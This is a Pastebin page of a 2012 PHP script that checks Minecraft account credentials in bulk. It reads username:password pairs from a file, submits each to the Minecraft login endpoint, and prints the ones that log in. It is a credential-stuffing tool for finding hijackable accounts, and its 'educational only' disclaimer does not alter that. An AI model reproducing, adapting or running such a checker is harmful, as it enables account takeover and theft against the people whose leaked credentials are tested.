Advertisement
POW3R

Bulk Minecraft account checker

Jul 12th, 2012
39,771
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.89 KB | None | 0 0
  1. ==================================================================================================
  2. Code to Bulk minecraft account checker. Only use 50 at a time so you don't take too much RAM :3
  3. ==================================================================================================
  4.  
  5. <?php
  6.     //
  7.     // Minecraft Alt Checker by jeff142
  8.     // Copyright jeffery schefke 2012 all rights reserved
  9.     // educational only not to be used in illegal ways.
  10.     // License : GNU General Public License V3
  11.     // http://www.gnu.org/licenses/gpl.txt
  12.     // Script is slow do no more than 10-20 at a time, unless your internet is fast.
  13.  
  14.     ##---File alts are in ---##
  15.    $altsfile = 'alts.txt';  #
  16.    ##
  17.  
  18.     // start counts.
  19.     $amount = 0;
  20.     $worked = 0;
  21.     $failed = 0;
  22.     $failedmig = 0;
  23.     $failedbads = 0;
  24.  
  25.     // Timer
  26.     function getTime()
  27.   {
  28.   $a = explode (' ',microtime());
  29.   return(double) $a[0] + $a[1];
  30.   }
  31.     $Start = getTime();
  32.     // Get alts form file
  33.     $alts['string'] = file_get_contents($altsfile);
  34.  
  35.     //trim spaces
  36.     $alts['string'] = trim($alts['string']);
  37.  
  38.     // remove line brakes
  39.     $alts['string'] = str_replace("\n", '|', $alts['string']);
  40.  
  41.     // trim any space
  42.     $alts['string'] = trim($alts['string']);
  43.  
  44.     // put each account in its own array spot
  45.     $Accounts = explode("|", $alts['string']);
  46.     echo '<h3>Working</h3>';
  47.     // for each account check the minecraft server
  48.     foreach($Accounts as $list => $login){
  49.  
  50.     // Count are alts
  51.     $amount = $amount + 1;
  52.  
  53.     // brake user and password
  54.     $namepass = explode(":", $login);
  55.  
  56.     //check website
  57.     $data =  file_get_contents('http://login.minecraft.net/?user='.$namepass['0'].'&password='.$namepass['1'].'&version=15');
  58.  
  59.     //prosess what thay gave us
  60.     $data = explode(":", $data);
  61.  
  62.     // is it bad?
  63.     if($data[0] == "Bad login"){
  64.     $vaild = false;
  65.     //add fail count
  66.     $failed = $failed + 1;
  67.     $failedbad = $failedbad + 1;
  68.     // next check
  69.     }elseif($data['0'] == 'Too many failed logins'){
  70.     echo 'Too many failed logins';
  71.     exit();
  72.     // check if email or username
  73.     }elseif($data['0'] == 'Account migrated, use e-mail as username.'){
  74.     $vaild = false;
  75.     //add fail count
  76.     $failed = $failed + 1;
  77.     $failedmig = $failedmig + 1;
  78.     }
  79.     else{
  80.     // give it back if valid
  81.     echo $namepass['0'].':'.$namepass['1']."<br>";
  82.     // count it becose it worked
  83.     $worked = $worked + 1;
  84.     }
  85.     }
  86.  
  87.     echo '<br><h3>Out of : '.$amount.' alts. '.$worked.' Worked and '.$failed. ' failed</h3>';
  88.     echo 'Out of the alts that failed '.$failedbad.' For bad login and '.$failedmig.' Failed for Account migrate';
  89.     $End = getTime();
  90.  
  91.     echo "<br>This scrip took ".$timer = number_format(($End - $Start),2).' Sec ' ;
  92.     $persc = ($timer / $amount);
  93.     echo 'That\'s one alt every '.round($persc, 4).' Sec';
  94.     ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement